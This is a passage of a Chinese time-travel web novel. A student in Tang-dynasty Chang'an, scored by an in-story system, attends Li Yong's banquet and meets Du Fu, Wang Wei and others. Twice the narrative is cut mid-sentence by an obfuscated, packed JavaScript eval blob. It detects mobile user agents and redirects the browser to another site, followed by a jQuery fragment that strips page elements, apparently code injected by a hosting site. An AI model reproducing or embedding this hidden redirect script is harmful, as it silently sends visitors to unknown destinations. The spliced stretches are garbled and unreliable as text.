她思索两秒,问出最为关键的问题:“空手去会被赶出来吗?” 纵是见多识广的张九龄也不免失笑,他轻轻摇头,腰间玉佩随着动作微微晃动,叮铃作响,缓缓问道:“若我说会,女郎尚愿往乎?” “......能不去吗。”她弱弱抗议一句。 张九龄道:“自然,全凭女郎意愿。” 他不怎会劝人,直言进谏才是他的作风。对于李邕举办的酒宴也不甚感兴趣,那人的奢靡作风他并不喜欢。两人交集不多,只是政事上有些来往。 今日这封请帖还是李邕以题字为酬,托他交给白女郎。 至于大红人李邕为何会注意到白果这一无名小卒,还要得益于她在曲水流觞团建活动那日所做的声律诗,能得到张相公夸赞的人,那必不是等闲之辈。 更别提圈内人都知道的秘密,这白女郎可是由圣人亲自授予的官职。 在白果不知情的情况下,她也已经小有名气了。 此时的“小红人”白果正皱眉思索。 如果这个培训可以文抄公,那她高低要在酒宴上露一手。只可惜上次的小巧思已经被AI警告,如果再抄估计就要被扣分了。 总不能就光去干饭吧。 见白果还在犹豫,张九龄没再说什么便先行告退。请帖他已带到,至于对方同不同意就与他无关了。 和张司业道别,白果坐在地上盘算着该带什么东西去参加酒宴。毕竟这李邕可是亲自托人向她递了请帖,如果不去岂不扫人脸面。 她就知道,在官场上少不了人情世故。 不过——扭头看向被/干噎酸奶硬控许久不说话的鹦鹉,白果心中浮现出一个大胆阴暗的想法。 她不会作诗,那所有人就都别想作诗了。 拍去身上浮灰,将请帖平展放于桌案,微微泛黄的硬黄纸上是几行笔力舒展遒劲的行书,懂书法的人自然看得出书写者笔力之深厚,外行人也能看个热闹,只觉得赏心悦目极了。 屋外夕阳斜映,她迎着光走出屋门,消失不见,只得窥见朦胧背影。 影子逐渐拉长,从窗棂缝隙中延伸。有人将案几上的请帖合拢收进衣袖之中,杯中浊酒入喉,又感几分苦涩。 犹豫片刻,他还是带上了书写许久的干谒,明明只是轻飘飘一张纸,却有千钧重。 眉头紧聚苦闷不散,意识到时辰不早后急匆匆出了门,目之所急是大片平坦原野。从少陵原到平康坊的路长着呢,若是再晚一些,光靠他这双脚可赶不上了。 戴上斗笠,加快脚步上路。 他低头用脚步丈量着长安的厚度,却怎么也想不到长安会是如此单薄,薄到连一个他也装不下,被拒之门外。 马车从身边经过,在朱雀大街上碾过长长一条车辙。 车帘悄然翻开一角,瞥见略显狼狈的行人,骨子里觉得有几分眼熟,却又笃信从未见过此人。 许是错觉? 马车停在了平康坊门口,两人擦肩而过,并未意识到这第一次见面的奇妙之处。 拿出请帖,登上由李邕主持的酒宴。 听得歌舞升平,酒香四溢,目之所及是一片耀眼华灯。只在这时,长安城真正的面纱才被掀开。 它难以用脚步丈量,而是权与利的角逐。 18. 第 18 章 平康坊内, 酒楼门口是络绎不绝的宾客,声音喧杂,让人不免感到头晕耳胀。他从前也如李邕般沉醉如此良宵,只是往事不可追,经历的越多,他越觉得眼前的一切都只是镜花水月。 轻轻一碰,顷刻间便消散如烟。 在心中叹口气,悄悄握紧袖中干谒,经过数次闭门羹后他早已没了信心。要不算了吧,在这样享乐的地方,又有谁会耐心读下去呢。 纸张被握出褶皱,一如他纠结的内心。 低头陷入自己情绪之中的他并未注意有人正从旁绕过,不出意外的,两人撞上了,手中干谒也掉落在地,被清风揽向远方。 吃痛一声,正想致歉时听见对方略显惊讶的语气: “怎得是你?!” 抬头看去,只见一小厮打扮的人,并不眼熟。可对方瞪着眼睛,分明是和他有旧仇的模样。 似是看出他神情中陌生之感,小厮脸色愈发狰狞,念出他的名字后一字一句道: “杜甫,你当真不记得我了?” 未等杜甫作答,对方低头小声嘀咕几句后就立马离了这里,看起来很是忙碌。 望着消失在人海中的背影,杜甫心中不解,难不成真是自己不小心将人遗忘脑海? 不应当,他在长安的熟人不多,更别提那人独特的模样和气质,若真有过交往,他必然会有深刻印象。 不过相信有了今天的见面,他下次定会认出对方。 人群愈发拥挤,不停推搡着向前走,也将杜甫从深思中拽出,随意找了个看台坐下。然后下意识摸了摸袖中干谒,却发现空无一物。 许是刚刚路上掉了。 罢,上天有意不让他在今日成功。 为自己倒了杯清酒,闷声看着周围繁华喧嚣,只觉自己格格不入,仿佛被排除在外。 夜间晚风吹过他的发梢,扰乱满心思绪,将那飘然在空中的泛黄纸张直直吹入另一人手中。 这或许也是上天的旨意。 白果抓住从天而降的一张纸,翻开后竟是首写得相当不错的长诗。 颇有些新奇地感慨道:“大城市就是机会多啊,来吃席还可以免费获得佳作。” 身旁随她一同早退出来摸鱼的陆象先也生出几分好奇,凑过去看了看,竟是一份干谒。 诗写得不错,字也不错,估计是想借此宴会托人引荐自己。 见白果紧皱眉头,以为她和写这干谒的人有点儿交情,便问道:“怎么,你认识这位杜甫?” ......她能说自己完全看不懂上面写的繁体字吗?还有,干谒又是个什么东西。 【Tea:干谒指为某种目的而求见比自己地位高的人。其中,干谒诗是古代文人为推销自己而写的一种诗歌,类似于现代社会中的自荐信。干谒诗的表达一般较为含蓄,为了求得进身机会,曲折迂回地表露自己的心迹。】 文化沙漠又栽植了一株植被。 不过,自己竟然拿到了杜甫的干谒! 瞬间生出几分想要把这干谒占为己有的心思,当成藏品绝对不错。 白果摇摇头后又使劲儿点头,神神秘秘回道:“现在虽不认识,但我有预感,将来会和他成为至交好友。” “哦?那女郎还不打算把干谒还给未来好友吗?” 正往袖带里塞东西的白果动作一僵,轻咳两声,缓缓说道:“既然这干谒恰好落到我手上,那就说明我与这位杜甫有缘,就由我来引荐他吧!” 反正她现在认识的人也不算少,总有那么几个能慧眼识珠的吧。 陆象先笑而不语,慢悠悠提醒一句。 “世上英才如此之多,他又能为你带来什么好处?” 千里马常有,伯乐自然懂得识马。 但若是千里马不听话,那便是不如普通马匹能够控制在缰绳之下。久而久之,听话就成了另一个良驹的标准,带来的利益价值或许要在性烈的千里马之上。 白果听后觉得有些莫名其妙,作为一个还没被社会污染的清澈大学生,她的想法也很简单,思索几秒后答道: “知人善任,人尽其才,才尽其用。为何要为我带来好处,能够实现个人价值不就是最大的好处吗?” 她的眼睛很亮,带着几分天然未雕琢的善意。若世上每个人都可以像她所说的,那当真是太平盛世,海晏河清。 【系统:教育的本质是育人,充分发挥每位学生的特长优势,学员对于教育理解十分透彻,+5分】 陆象先没再多说,他并非是爱泼冷水的性子,只希望白女郎能永远保持住这份天真,坚守初心吧。 两人闲聊片刻后便一同上了楼,打算先拜访这场酒宴的东道主——李邕。 白果特意放慢步伐,愈是顺着楼台向上走,愈是能感到其中奢靡。直至最高处,撑在扶手边回头望去,她不由得再次感慨出声。 真是个会享受的,不知要花费多少金银才有如此风光。 只见座下金兽香炉吞吐着缕缕青烟,与酒气氤氲缠绵,宾客们酒至半酣,已然不知天地为何物。刹那间,胡姬踩着细碎的鼓点旋入席间,石榴裙翻飞若焰,腕间金铃随着她婀娜轻快的舞步叮当作响,像是朵活着的艳阳花。 她扬起头,不知是不是错觉,两人视线相撞一瞬。 乐师指尖在胡琴上急拨,音乐愈发急促,那胡姬的舞步也随着加快,之后一个回旋,竟是一跃而起,臂间轻纱拂过白果的面颊,带着几分酒意,几分脂粉香,还有一声调笑般的轻笑。 白果急忙后撤几步,她捂着耳朵,决定今天晚上不洗脸了。 见她慌忙又微微涨红脸的惊讶模样,陆象先故作吃味,摇着折扇道:“新人虽言好,未若故人姝。” 白果一听就知道这家伙又犯病了,瞬间将刚刚那抹羞涩抛之脑后。双臂抱胸在前,露出恰到好处的邪魅微笑。 她伸手抢过陆象先的折扇,用扇尖轻挑起对方下巴,像是个地痞流氓般调笑道:“那希仲兄也为我献上一舞,如何?” 看着脸上笑容瞬间僵住的陆象先,她终于没忍住大笑出声,别说,她还挺期待对方的翩翩舞姿,定会有震撼全场的效果。 敛住笑意,白果将折扇占为己有,又迈着六亲不认的大步转身迈入走廊深处的包厢,那里便是此行的真正目的地。 身后被再次戏弄的陆象先无奈摇头,嘴角噙着笑,跟在她身后推门走了进去。 大门吱呀一声轻响,隔断了外界种种喧嚣。 与想象中的热闹场景不同,里屋围了一圈又一圈人,都踮脚张望着什么,时不时还要露出惊讶的神色,让人不免好奇他们究竟是看见了何等宝贝才会如此。 白果在人群中瞧见好几个熟人,包括今早还因她在听课过程中睡着而阴阳怪气的李主簿。没错,她听的正是李林甫的课,因为太过于催眠而直接倒下,连人带桌一起倒地的那种。 李林甫气得面色发青,将她好生训斥一番。 寻常学生都不敢在他课上犯困,可这白女郎偏偏困成那个模样,这不是故意找茬还会是什么? 但她当真冤枉,“水课直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他指向不远处难得没有凑热闹围观、正独坐赏月的一人身上,道:“白女郎,可问,问问那人。” “谢了。” 蹑手蹑脚凑到杏酪爱好者身旁,白果看见他面前叠放的碗碟,心中不免乍舌,这是吃了多少块糕点啊,真有这么喜欢吃吗? 眼见最后一块杏酪也要被人擒拿,白果不知从哪生出的勇气,低声喊道:“口下留酪!” 他回眸看去,两人对上视线。 只见这人身着一袭素衣,眉目清远,眸中澄澈空明,神情淡然自若,通身透着佛性。最是眉间那点气度,似是久坐莲台,沾染了梵香。 白果一时看愣几秒,还不忘嘴馋继续道:“我也想吃杏酪,给我留一块吧。” 未等对方回答, 人群中央的萧诚终于注意到了白果的踪影,伸手指向那边,朗声向众人介绍道:“这位便是白女郎。” 所有人停下了喧哗,都扭头看去,像是围观什么珍奇动物般上下打量着她。这视线有好有坏,让人不免感到几分不适。 最为吹胡子瞪眼的当属李林甫了,瞧他的模样,应又是在心中蛐蛐着什么。 而此时,白果还在伸手讨要糕点,许是从未见过如此厚颜无耻之人,她成功要到了最后一块杏酪。 就在白果打算好好品尝这难得的美味时,那齐刷刷的目光顿时让她感到如芒在背。 吃也不是,不吃也不是。 为什么总是要挑在她最脆弱的时候折磨她。 19. 第 19 章 时间向前扭转几刻。 话说萧诚本想将自己新得的洁白纸张分享一番,当然,仅是让他们用眼睛观赏,他还要研制出造纸方法,可不能被这群人嚯嚯了。 下了马车,步履匆匆地上楼找人。 身后小厮看着他背后被墨汁浸染的大片,十分熟练的从车里拿出披风,跟随着小跑进了酒楼。 和萧诚预想的差不多,本来兴致缺缺的李邕在见到纸张后瞬间亮起双眼,连酒都顾不上喝了,尽数洒在衣领上,浑身都散发着十足酒气。 饿虎扑食般凑到萧诚面前,一副如痴如醉的模样。 看着他一边轻轻抚摸纸张,一边用鼻子细嗅纸张由内而外散发出的淡淡香气,那副狂热模样不免让人生出几分诡异恶寒。 李邕翻来覆去将这薄如蝉翼、皎白如月的纸看了又看。期间还不小心被纸张划破指尖,这是当下任何品类的纸张都无法做到的奇迹。 正当他沉醉其中,打算拿最好的毛笔来书写一番时,萧诚却递给他一支不知用什么材质做的笔,摸起来带着金属的冰冷质感。 见李邕面带不解, 萧诚缓缓解释道:“我试过了,毛笔在这纸上不好发挥,只有与之相匹的笔才可尽其功效。” 语毕,他伸手示意对方试用。 李邕握着笔,露出和刚刚如出一辙的神情,简直是被完全迷住了。 萧诚站在一旁笑而不语,他可不能说自己刚刚也是如此模样。 两人一同琢磨着这所谓的“钢笔”该如何使用,虽然握起来有些重,但出水流畅,可以轻易写出笔锋。 不消片刻,李邕已经在白纸上提笔写下一首长诗来赞叹奇迹。只可惜还未等他尽兴,钢笔忽然就不出墨。 兴致最高时被打断,让他感到难受极了,就这么不上不下吊着。 简直是抓心挠肝的痛苦! 心中突然想到个好主意,李邕停顿几秒,伪装着咳嗽两声,不动声色地把笔揣进衣袖里。 然后故作疑惑地摊手问道:“咦,笔怎的不见了?” 咚的一下, 许是他刚刚没放好,钢笔从衣袖口袋里掉落,掷地有声。 萧诚面无表情地看着眼前演技浮夸、漏洞百出的李邕,接着又露出个惊讶神情,若无其事地弯腰捡起笔,拂去上面灰尘后继续道: “竟是掉在地上了,真不小心。” 这拙略的自导自演实在让人忍俊不禁。 萧诚伸出手,他本意只是分享,可没有将宝贝送出去的道理。 谁知李邕直接耍起赖来,把桌上纸张尽数揽入怀中,后撤几步,露出防备的谨慎姿势。 “你想做甚?!” “出个价吧,萧学正。” “……不卖!” “那就当送我了,真是不胜感激。” 这家伙身上死皮赖脸的劲儿简直无人能敌。 萧诚差点儿没绷住,撸起袖子就想和对方干架。两方随从拽住了即将发疯的二人,好说歹说可算是劝住了。 擦擦从额头渗出的汗,真是,每回见面都要争吵一番,不知究竟是怎么成为至交好友的,或许艺术家的脑回路就是和普通人不大相同吧。 冷静下来的两人重新约法三章,定了个小比赛,赢家可以率先获得钢笔的三天使用权。 比赛规则很简单,拿出刚刚各自用钢笔写出的作品,不署名,让围观群众进行投票,票高者获胜。 本来只觉得寻常酒宴的文人得知今日有此赛事,全都提起兴致,想要瞧瞧究竟是怎样的上等文房才可引得当今名人为之折腰。 不消片刻,顶楼便围满了人,还有许多想要看热闹的过来瞧上一眼。 乌央乌央的人群连个下脚的地方都没有。 半个时辰过后,所有人都投出了自己满意的一票,却惊讶发现——票数竟然持平。 相当戏剧性的一幕,让人感到啼笑皆非。 按下又偷偷摸摸想要顺走东西的李邕,萧诚锐利的目光扫视过人群,碰巧揪住正想偷摸往嘴里塞糕点的白果。 顾不得其它,萧诚直接喊道:“那位便是白女郎!” 接着扭头对李邕咬牙切齿道:“最后一票定胜负,由白女郎来做决定如何?” “可。” 李邕也扬起下巴,针锋相对的气势简直拉满。 在众人灼灼目光之中,名叫白果的小娘子怔愣几秒,颇为不舍的将手中糕点还给身旁之人,并小声叮嘱一句:“先替我保管,等解决完我可是还要吃的。” 语毕,也不管对方是否回应,她径直走入人群中央。神情坦然,步伐洒脱,周身气度不凡,让人不敢轻视了她。 看着气势汹汹,还在对峙的两位书法家,白果心中有几分不解。 经常听萧诚在办公房里碎碎念李邕的奇闻逸事,语气那是相当敬佩崇拜,怎么今天都闹到水火不容的地步了? 了解大致情况后,白果也露出个哭笑不得的表情。 好嘛,原来始作俑者还是自己。 瞧了瞧两边各自憋着气的大书法家,简直像是幼儿园小孩儿一样幼稚,她是不是可以考虑报个幼师。 “女郎,你更欣赏哪一副作品?” 有好事者朗声喊道。 刹那间,所有人的目光都聚集到白果摇摆不定的手指上,迫切想知道这场比拼的最终结果究竟是什么。 而两位参赛选手同样屏住了呼吸, 这已经不是一场单纯的比赛,而是堵上职业生涯的重要时刻,不是你死就是我活! 指尖在两张作品上划过,实话实说,各有千秋,以她那书法入门的初级水准根本分辨不出差别。 不过嘛—— 白果轻笑一声,给两幅书法作品各贴上一枚小红花贴纸。 她抬眸缓缓道: “都很不错,我难以抉择,所以决定你们二人平手。” 未等他们发话,白果从袖中抽出一支通体透明、泛着粼粼波光的笔,在烛火照耀下更显神秘,让人心向往之。 全场吃瓜群众都沸腾了,早知道还有这种奖品,他们也上去搏一搏了! 随意甩甩笔,她继续道:“此物名为水晶玻璃笔,蘸墨便可使用,就当是今日酒宴的赠礼如何?” 说完,直接递给了李邕。 李邕小心翼翼地双手接过笔,说话都低声许多,生怕手中琉璃易碎,惊扰了笔中之仙。 得了更为宝贵的笔,他也不稀罕刚刚的钢笔,扭头飞速跑进书案旁,想要蘸墨试上一试。 众人随着他的动作一并去围观,这么多热闹的一天可不多见。 随着人群散去,只留下还站在原地不动的萧诚,显得有些落寞。 他低着头不说话,竟莫名从他身上感到几分委屈……明明他和白女郎之间是同僚关系,而且他们之间还有约定,怎么就这么豪爽的给了李邕那人。 见他如此姿态,白果心中了然,故意反问道: “你也想要?” 萧诚扭捏一会儿,还是实诚回答:“想。” 一支同款玻璃笔落在他手心中,还顺带附赠几瓶从未见过的彩墨。 他难得外露几分无措,如此贵重的东西怎么说给就给?未免太过儿戏。 白果拍拍他的肩,一副霸气侧漏的模样,挑眉调笑道:“自是因为我更偏爱萧学正,毕竟咱俩关系更好对吧。” “可是——” “有何可是?难不成萧学正还没认下我这个好友,亦或是你瞧不起我?” “不,自然不是。” “放心吧,我跟他们都是假玩,跟你才是真玩,以后得了什么好宝贝都会分享给你的。” 忽悠起来头头是道的白果眼神那叫一个真诚,把从未听过如此直白的甜言蜜语的萧诚给迷得五迷三道。 白果见好就收,维护好同事关系真是件难事,好在她提前钻研过儿童心理学。 简直百试不厌。 忽地想起自己还有份杏酪没吃,急匆匆道别后扭头快步离开。 望着那道背影,萧诚神情复杂,他握紧手中的玻璃笔,一时感到几分恍惚。还是第一次,有人如此肯定他的存在。 虽有南朝萧梁后裔的名号,可萧诚深知自己为人并不讨喜。做事一板一眼,十分讲究,总是不自觉抓人语句漏洞,令人生厌。能和李邕成为好友,也是因为对方的性子简单直爽,不会弯弯绕绕。 他读不懂也看不懂许多隐晦之事,故而在为官之路上始终没什么起色。 好在他并不醉心于官场,更喜欢可以直接畅怀抒情的书法艺术,但只能算是懦弱生活的逃避口。 本以为走后门进来的白女郎也会如世俗中的大多数相仿,谁曾想会是如此—— 他轻咳两声,墨色晕染的眸子中露出点儿抑不住的欣喜。 听见最里面书案旁众人的惊呼,萧诚也迈步踏了进去,他还要把刚刚李邕偷拿走的钢笔要回来。 与热闹的场景截然不同的另一边, 白果没吃到心心念念的糕点,因为有位不请自来的侠客在劫富济贫。 劫走她的糕点,济了自己的嘴。 见白果耷拉着脑袋,一副生无可恋的模样,侠客随意摆摆手,“你要真想吃,我再为你劫一份糕点来。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735579|174085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 如此熟练不要脸皮的话究竟是怎么说出口的。 “等等。”白果忽然想到了什么,急忙问道:“不会我家的大门、被褥、还有那碗馎饦都是抢来的吧?!” 侠客,也就是郝闰、郝女侠不甚在意地点点头,她指着一旁始终不动声色的喝茶人。 “喏,就是从他家扣下来的。” 白果:……神偷啊。 郝闰凑到她耳边,用不算小的音量解释一句:“不用担心,整个长安城都在我的掌心之中,一砖一瓦、一草一木都是我看着长大的,所以——自己家的东西怎么能叫抢,分明是借。” 说完,她又挠了挠头,皱眉吐槽道: “而且就他家好拿点儿大物件,别人都叫他什么王摩诘,这名字真怪,寺庙那边的僧人可不如他懂得修身养性。” 王摩诘……那不就是王维吗。 说起来,自己刚刚还从对方口中抢出一块杏酪。 不愧是号称情绪最稳定的佛系诗人,遇见那么多奇葩人和事还能保持着平和的心态,值得我们学习。 生怕郝女侠再说出什么惊人之语,白果将人拉到角落中,想要知道她来这的目的。 终于想起正事,郝闰拂去脸上尘土,兴致冲冲道:“没什么,就是听说李邕得了件新宝贝,打算借来观赏观赏。” “欣赏后再倒卖出去,劫富济贫?” 郝闰嘿嘿一笑, “不愧是我的好友,就是懂我!” 这幅财迷心窍的傻乎乎样子让白果也没忍住笑出声。话说起来,除去上次因大鹅事件偶然结识后,她们二人还没再碰过面。 后来听得陆象先向她科普,郝女侠以天为被、以地为席,来无影去无踪。又因经常劫富济贫被大理寺通缉,所以很难打听到她的消息。 但若是长安城里忽然传出什么爆炸性的轶闻八卦,那定是从她口中散播的。 也就是如此,才常有人悬赏奖金要将郝女侠缉拿归案。不过郝女侠的人缘实在好得不得了,平日也只爱开些不痛不痒的玩笑,还是个惩恶扬善的游侠,最爱打抱不平。 市井百姓谁能不喜欢这样一个爽朗大方的女子? 于是那通缉也就不了了之,大理寺也是睁一只眼闭一只眼。 简直就是长安城的传奇人物。 白果伸手戳了戳郝闰,好奇问道:“郝女侠会什么招式?移花接木、妙手空空、探囊取物……袖里乾坤?” 她一连说出好几个武侠小说里常见的神偷招式,并期待郝闰可以在自己面前展示一番。 拜托,这可是真正的功夫诶! 郝闰饶有兴致听完白果的话,摇摇头,然后十分熟练地往脸上蒙了块黑布,一脚踹开大门,只见那木门直接飞了出去,在空中旋转许久后直接四分五裂,碎成渣渣。 ……屋内柔若无骨的文人们呆愣几秒,反应过来后直接乱成一团,也顾不得什么,四面八方地逃走。 像是一群吵闹的鸭子。 “喏,就是这么简单啊。” 将屋内值钱东西搜刮一番后郝闰背着一麻袋好东西,扭头向白果挥挥手,狂风大作,吹在她的衣角,也吹乱了一头长发,让人忍不住眯起眼。 在最后,白果只听见对方留下句有缘再见。转瞬间便没了踪影,简直如同魔术般神奇。 她扭头看向始终喝着茶的王维,忍不住开口问:“她那日就是这样把你家屋门抢走的吗?” 王维沉默不语,然后轻轻点头。 任谁在夜里看见能一拳卸门的怪物都不敢多说什么。 好家伙,怪不得郝女侠人缘那么好。 有如此恐怖的力量,是个人都不敢招惹吧,生怕下一秒直接被对方捶死。 白果有些不好意思,毕竟自己还用着王维家的屋门,要不——等她这月发了俸禄再还他一扇门,如何? “不必,世事不可强求,既已属于你,便不是我的。” 王维放下茶杯,声音很是空灵,他说话的语调也很奇妙,带着几分淡然从容。 于是,这场宴会就在如此混乱中结束,像是梦一样不讲逻辑的诡异。 白果和陆象先一同坐马车回了延寿坊,直至家中她才想起自己还有一件重要的事情未做—— 杜甫的干谒还在袖中,她竟然忘记向他人引荐了! …… 【Tea:请学员放心,对于历史大事件和重要人物经历是不会因为学员的行为而有所更改的,所以即便学员在今日引荐杜甫,也无法得到相应回应,会自动被系统屏蔽处理。】 果然,历史的车轮不会因为一只小小蝴蝶而有所改变。 20. 第 20 章 因着前几日那场酒宴,白果在国子监内又出名了,许多人都想知道所谓的水晶玻璃笔究竟是怎么造出来的。 本来李邕和萧诚手中各有一只,但李邕手上那支被郝女侠劫走,如今不知所踪。 为了防止还有游侠劫富济贫,萧诚连忙跑路,并声称他的笔在中途也离奇消失,不见踪影。 消息真假自然是不得而知。 既然两位当事人闭口不言,吃瓜群众们也就只能换个对象询问。 不过通常都只能得到几个模棱两可的回答,其中听起来最为真实的还是白女郎所说有关她兄长的故事—— 话说十多年前,她兄长沉迷于游历四方、求仙问道,在登临泰山时偶遇一位坡脚老道,于是便好心驮了他一段路,只觉背后有千斤重,愈是向前走、步伐便愈是沉重,让人难以招架。兄长明白这是一种考验,于是咬着牙坚持下来,直至山路尽头雾气弥漫处,老道摇身一变,竟成了位仙风道骨的仙人。 赠他两只笔后,轻抚胡须,缓缓道:“此物名为传彩笔,拥有此笔便可以写出世上最完美的文章,切记一点,使用它后你所有的作品都不会被世人所见,孤影自赏,纵有千言万语也无法与他人言。” 语毕,仙人挥手将山中云雾揽入怀中,缓缓消失在眼前。 兄长从梦中惊醒,衣衫被雾气浸透,若不是怀中还有两只晶莹剔透不似凡间之物的琉璃笔,或许会认为一切都只是太虚幻境。 他不敢用仙家之物,最后传给了白果,让她找到合适的人送出,也算了解一桩心事。 到目前为止,白果那未曾谋面的兄长已经有了三层身份:求仙问道寻求机缘的道士、拜入孙思邈门下的神医,以及被神秘商人变成了畜生的鹦鹉。 唐朝时期佛道文化盛行,这样一个听起来就虚假的故事竟得了许多人的簇拥,并且传播得更加神乎其神,听说已经有人准备启程泰山寻求机缘了。 其中最为上头的当属李泌,要不是他此时实在离不了长安,再加上自家妹妹的讥讽和白眼,或许他会成为“寻仙之旅”领头羊般的存在。 没去成泰山的李泌此时正坐在白果对面,低头轻抚着金刚鹦鹉的羽毛,小声嘀咕道:兄长啊兄长,可以告诉我仙人的下落吗? 鹦鹉被摸得舒服,发出咕噜咕噜的声响,也学着他回道:“仙人的下落——” “在——?” 李泌目光如炬,从袖里掏出纸笔,生怕自己听漏了什么重要信息。 “Idon''tknow.” 鹦鹉口吐一段非常标准的洋文,然后扑扇扑扇翅膀,将身子一扭,留着个花屁股朝向对方,神情很是冷漠,跟刚刚简直判若两鸟。 看着自己刚刚写下奇怪文字的李泌皱了皱眉,将目光转移到身旁打哈切的白果身上,希望可以从对方口中得到答案。 毕竟,这鸟是她兄长,应当可以听懂吧。 睡眼朦胧的白果伸了个懒腰,神色恹恹,动作很是迟钝,看起总是没什么精神的样子,有种独属于她的虚无感。 若无其事地将脸上哈喇子擦去,她缓缓起身,低头盯着李泌的双眸,接着摇头轻声道:“世事不可强求,别被一时诱惑迷住眼,这副急切摸样可不是我所认识的李长远。” “今日还要去探望学生,便先行告退。” 李泌沉默半晌,再回过神来对方已离了办公房,连带着金刚鹦鹉也随她走了。 轻叹一口气,他望着窗棂外重叠似墨的摇曳树影,心中微荡,他也不知自己最近为何会如此浮躁。 就好像灵魂在做出某种预警,明明是万物复苏的温暖春日,他却总是会在某个愣神时刻惊出一身冷汗。 迷梦中恍惚瞧见一道模糊的白色身影站在群山之巅,周身没有仙鹤缭绕,唯余死寂与颓然,有人轻声唤着「白衣山人」。 种种场景皆为熟悉,只是他从未见过那座山的模样。 李泌回想起自己不知从哪本古籍中看见的一则故事:据说汉时在蜀郡有一口会冒火的怪井,汉朝强盛时火势最为旺盛,而后汉室倾颓,这古井的火也渐渐弱了。有人往里面投了支蜡烛,许是想要引火,只可惜火倏然熄灭——那年,季汉灭亡,汉朝四百多年的历史就此终结。 听起来十分没有道理的故事,但他就是由此入了道门,专心钻研起《易经》《周易》。 就是这则故事里,李泌体会到了玄而又玄的命运。 他总会想,在汉武帝驰骋于上林苑狩猎享乐之时;在诸葛丞相向刘备做出《隆中对》的某刻;在汉高祖被困于白登山仰天长叹之际......他们可曾想过,整个国家的命运都掌握于一簇源自枯井的颤抖火焰之中。 或许每个人无可名状的命运都源自于另一种具体存在的事物,那会是一片落叶的纹路,是群山的起伏壮阔,是云舒云卷的刹那。 他近乎痴迷于这种令人颤栗的存在,也费尽心思想要找到属于自己的命运之物。 现在想来还是过于天真,愈是急切想要求得命运,便愈是求不得。 上善若水,水善利万物而不争。 如此简单的道理,世上又有几人可以做到,他也不能。 握住一片从窗外飘来的绿叶,轻轻摩挲着叶片的纹路,梦中人是谁已经不再重要,他还是想找到属于自己的命运火焰,即便结局会是死亡。 话说回来——白女郎还是记错了他的字,并非长远,而是长源。 李泌失笑片刻,也拍拍衣袍,决定今日便不再去西市找那位神秘商人,只要跟在白女郎身后,何愁机缘之事? 糟了,他似乎又忘记邀请白女郎在明日旬假时做客,回去怕是要被妹妹冷嘲热讽一番。 想到此处,李泌起身追了出去。 刚刚手中紧攥的叶片也随之飘落,一呼一吸之间轻柔下坠,像在书写着万里外某国的历史轨迹。 在落地后溅起几粒尘土,被人踩进了更深处,成为大地养料。 白果自然不会注意自己踩过几片落叶、几瓣落花,她疾步穿过重重亭台楼阁,不时用手帕擦去额头上渗出的汗水。 肩旁上的鹦鹉倒挺喜欢这种颠簸,两只爪子紧紧抓着白果的衣服,嘴里还在叽里咕噜说着什么高兴的鸟话。 白果此时也没心情和鹦鹉对骂,因为自己面前正闪烁着一块标红加粗的倒计时面板。 【系统:作为一名合格教师,在得知学生生病后需要前去看望】 【系统:虽没有强迫学员看望学生,但若是在规定时间内没有探病行为将予以扣分】 【系统:距离「过敏事件」已过去3天23时50分,探病倒计时10分钟】 接连三条警告信息弹出,把本来还在打瞌睡的白果吓醒。她甚至不记得自己究竟向李泌说了什么,想来都是些胡话,只希望没有冒犯到对方。 不过此时的她满脑子都是扣分扣分扣分,哪里还分得出一丝空闲去回忆。 脚步走得飞快,顾不得路上想要攀谈的同僚,也顾不得在后面追着她阴阳怪气的李林甫,径直跑到围墙旁,她踩着树干,借力直接翻墙到了另一边。 那套行云流水的帅气身姿让身后围观群众大吃一惊,没想到这白女郎不仅文采斐然,连武功也十分不凡。 金刚鹦鹉没抓稳,直接摔在李林甫的脸上,一人一鸟一齐惊叫出声,真是好不热闹。 另一边身手不凡的白女郎捂着腰趴在地上,不知是谁在墙角挖了个坑。早知就不装刚刚那一下了,现在好了,她能感觉自己的脚踝肿了。 “嘶,究竟是谁那么没有公德心....” 头顶的系统倒计时还在不停叫嚣着存在感,白果将嘴角沾着的泥土呸呸几口吐出去,整个人灰头土脸,好不狼狈。 树上传来毫不客气的大笑,似乎是在嘲讽她此时的模样。 白果翻了个白眼,一听这笑声就知是哪位。 那人从树上一跃而下,伸手将白果头顶的枯叶拂去,把半死不活的人拽起来后才缓缓问道:“怎的,女郎今日是急着想来见我?” 语气相当欠揍。 “谁知道你天天在哪棵树上躲着,就算是想找陆录事也是个难事。” 国子监地方很大,人也多,每日上值倒是能把所有人混个眼熟。只是白果几乎没见过陆象先的身影,询问同僚也不曾得知,甚至好多人都未听闻过这个名讳。 若不是天天蹭他的马车上下班,白果都要怀疑是不是自己的记忆出现了问题。 这家伙绝对有什么隐藏身份,但她不感兴趣。 陆象先摇摇头,抽出一把新折扇摇了摇,神色认真道:“非也,是白娘子没有认真去寻,若有任何事——” “在下悉听尊便。” 说着好听,白果从不信他人随口的誓言,好话她也会说,不给出实际利益的担保又有谁会信。 这就是成年人的冷漠世界,她已经被生活磨皮了棱角。 拍拍身上的灰,白果假笑着反问一句: “为何要我寻,既然陆录事有悉听尊便的本事,在我想起你时就应当立即出现,不是吗?” 刚想说些什么,然后又被堵在嘴里,他向来是说不过伶牙俐齿的白女郎。 熟练夺过陆象先手中的新折扇,白果用力扇了扇风,终于把浑身热气吹散些。她一瘸一拐地继续出发,顺手把扇子向后一抛,随口谢道: “陆录事送来的凉风不错,下值再会。” 她向来不喜麻烦,人和事都一样麻烦,只要做好自己的本职工作,就不会被卷进那些奇奇怪怪的漩涡吧......大概。 